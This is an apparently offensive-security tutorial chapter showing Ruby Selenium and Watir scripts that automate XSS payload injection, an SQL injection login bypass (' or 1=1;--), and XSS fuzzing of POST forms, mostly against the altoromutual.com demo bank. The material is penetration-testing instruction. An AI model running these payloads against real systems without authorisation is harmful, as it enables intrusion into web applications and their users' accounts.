Browser Manipulation

    Here we’ll learn how to make ruby controls our browser in order to emulate the same attacks from browser and get the real results.

    The most known APIs for this task are Selenium and Watir which support most know web browsers currently exist.

    Selenium is an umbrella project encapsulating a variety of tools and libraries enabling web browser automation.

    • install selenium gem
    1. # KING SABRI | @KINGSABRI
    2. #
    3. require "selenium-webdriver"
    4. # Profile Setup and Tweak
    5. proxy = Selenium::WebDriver::Proxy.new(
    6. :http => PROXY,
    7. :ftp => PROXY,
    8. :ssl => PROXY
    9. ) # Set Proxy hostname and port
    10. profile = Selenium::WebDriver::Firefox::Profile.from_name "default" # Use an existing profile name
    11. profile['general.useragent.override'] = "Mozilla/5.0 (compatible; MSIE 9.0; " +
    12. "Windows Phone OS 7.5; Trident/5.0; " +
    13. "IEMobile/9.0)" # Set User Agent
    14. profile.proxy = proxy # Set Proxy
    15. profile.assume_untrusted_certificate_issuer = false # Accept untrusted SSL certificates
    16. # Start Driver
    17. driver = Selenium::WebDriver.for(:firefox, :profile => profile) # Start firefox driver with specified profile
    18. # driver = Selenium::WebDriver.for(:firefox, :profile => "default") # Use this line if just need a current profile and no need to setup or tweak your profile
    19. driver.manage.window.resize_to(500, 400) # Set Browser windows size
    20. driver.navigate.to "http://www.altoromutual.com/search.aspx?" # The URL to navigate
    21. # Interact with elements
    22. element = driver.find_element(:name, 'txtSearch') # Find an element named 'txtSearch'
    23. element.send_keys "<img src=x onerror='alert(1)'>" # Send your keys to element
    24. element.send_keys(:control, 't') # Open a new tab
    25. element.submit # Submit the text you've just sent
    1. #!/usr/bin/env ruby
    2. # KING SABRI | @KINGSABRI
    3. #
    4. require 'selenium-webdriver'
    5. browser = Selenium::WebDriver.for :firefox
    6. browser.get "http://www.altoromutual.com/bank/login.aspx"
    7. wait = Selenium::WebDriver::Wait.new(:timeout => 15) # Set waiting timeout
    8. # Find the input elements to interact with later.
    9. input = wait.until {
    10. element_user = browser.find_element(:name, "uid")
    11. element_pass = browser.find_element(:name, "passw")
    12. # Retrun array of elements when get displayed
    13. [element_user, element_pass] if element_user.displayed? and element_pass.displayed?
    14. }
    15. input[0].send_keys("' or 1=1;--") # Send key for the 1st element
    16. input[1].send_keys("password") # Send key fro the next element
    17. sleep 1
    18. # Click/submit the button based the form it is in (you can also call 'btnSubmit' method)
    19. submit = browser.find_element(:name, "btnSubmit").click #.submit
    20. # browser.quit
    1. Open a browser window (Firefox)
    2. Navigate to a URL (altoromutual.com)
    3. Perform some operations (Send an XSS payload)
    4. Check if the payload is working(Popping-up) or it’s a false positive
    5. Print the succeed payloads on terminal

    selenium-xss.rb

    1. #!/usr/bin/env ruby
    2. # KING SABRI | @KINGSABRI
    3. #
    4. require 'selenium-webdriver'
    5. payloads =
    6. "<video src=x onerror=alert(1);>",
    7. "<img src=x onerror='alert(2)'>",
    8. "<script>alert(3)</script>",
    9. "<svg/OnlOad=prompt(4)>",
    10. "javascript:alert(5)",
    11. ]
    12. browser = Selenium::WebDriver.for :firefox # You can use :ff too
    13. browser.manage.window.resize_to(500, 400) # Set browser size
    14. browser.get "http://www.altoromutual.com/search.aspx?"
    15. wait = Selenium::WebDriver::Wait.new(:timeout => 10) # Timeout to wait
    16. payloads.each do |payload|
    17. input = wait.until do
    18. element = browser.find_element(:name, 'txtSearch')
    19. element if element.displayed?
    20. end
    21. input.send_keys(payload)
    22. input.submit
    23. begin
    24. wait.until do
    25. txt = browser.switch_to.alert
    26. if (1..100) === txt.text.to_i
    27. puts "Payload is working: #{payload}"
    28. txt.accept
    29. end
    30. end
    31. rescue Selenium::WebDriver::Error::NoAlertOpenError
    32. puts "False Positive: #{payload}"
    33. next
    34. end
    35. end
    36. browser.close

    Result

    is abbreviation for (Web Application Testing in Ruby). I believe that Watir is more elegant than Selenium but I like to know many ways to do the same thing, just in case.

    • install watir gem
      1. gem install watir
    1. #!/usr/bin/env ruby
    2. # KING SABRI | @KINGSABRI
    3. #
    4. require 'watir'
    5. browser = Watir::Browser.new :firefox
    6. browser.goto "http://www.altoromutual.com/search.aspx?"
    7. browser.text_field(name: 'txtSearch').set("<img src=x onerror='alert(1)'>")
    8. btn = browser.button(value: 'Go')
    9. puts btn.exists?
    10. btn.click
    11. # browser.close

    Sometime you’ll need to send XSS GET request from URL like http://app/search?q=<script>alert</script>. You’ll face a known error Selenium::Error: Unexpected modal dialog if the alert box popped up but it you do refresh page for the sent payload it’ll work so the fix for this issue is the following.

    1. #!/usr/bin/env ruby
    2. # KING SABRI | @KINGSABRI
    3. #
    4. require 'watir'
    5. browser = Watir::Browser.new :firefox
    6. wait = Selenium::WebDriver::Wait.new(:timeout => 15)
    7. begin
    8. browser.goto("http://www.altoromutual.com/search.aspx?txtSearch=<img src=x onerror=alert(1)>")
    9. rescue Selenium::WebDriver::Error::UnhandledAlertError
    10. browser.refresh
    11. wait.until {browser.alert.exists?}
    12. end
    13. if browser.alert.exists?
    14. browser.alert.ok
    15. puts "[+] Exploit found!"
    16. browser.close
    • Since Waiter is integrated with Selenium, you can use both to achieve one goal

    POST request

    1. POST /path/of/editfunction HTTP/1.1
    2. Host: example.com
    3. User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0
    4. Accept: */*
    5. Accept-Language: en-US,en;q=0.5
    6. Accept-Encoding: gzip, deflate
    7. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    8. X-Requested-With: XMLHttpRequest
    9. Content-Length: 100
    10. Cookie: PHPSESSIONID=111111111111111111111
    11. Connection: keep-alive
    12. Pragma: no-cache
    13. Cache-Control: no-cache
    14. field1=""&field2=""&field3=""&field4=""

    example.html

    1. <html>
    2. <head>
    3. <title>Victim Site - POST request</title>
    4. </head>
    5. <body>
    6. <form action="https://example.com/path/of/editfunction" method="POST">
    7. <input type="text" name="field1" value="" />
    8. <input type="text" name="field2" value="" />
    9. <input type="text" name="field3" value="" />
    10. <input type="text" name="field4" value="" />
    11. <p><input type="submit" value="Send" /></p>
    12. </form>
    13. </body>
    14. </html>

    exploit.rb

    1. #!/usr/bin/env ruby
    2. # KING SABRI | @KINGSABRI
    3. #
    4. require 'watir'
    5. @browser = Watir::Browser.new :firefox
    6. @browser.window.resize_to(800, 600) # Set browser size
    7. @browser.window.move_to(400, 300) # Allocate browser position
    8. def sendpost(payload)
    9. @browser.goto "file:///home/KING/Code/example.html"
    10. @browser.text_field(name: 'field1').set(payload)
    11. @browser.text_field(name: 'field2').set(payload)
    12. @browser.text_field(name: 'field3').set(payload)
    13. @browser.text_field(name: 'field4').set(payload)
    14. sleep 0.1
    15. @browser.button(value: 'Send').click
    16. end
    17. payloads =
    18. [
    19. '"><script>alert(1)</script>',
    20. '<img src=x onerror=alert(2)>'
    21. ]
    22. puts "[*] Exploitation start"
    23. puts "[*] Number of payloads: #{payloads.size} payloads"
    24. payloads.each do |payload|
    25. print "\r[*] Trying: #{payload}"
    26. print "\e[K"
    27. sendpost payload
    28. if @browser.alert.exists?
    29. @browser.alert.ok
    30. puts "[+] Exploit found!: " + payload
    31. @browser.close
    32. end

    One of scenarios I’ve faced is to exploit XSS a user profile fields and check the result in another page which present the public user’s profile. Instead of revisiting the URLs again and again I open new tab and refresh the public user’s profile page then return back to send the exploit and so on.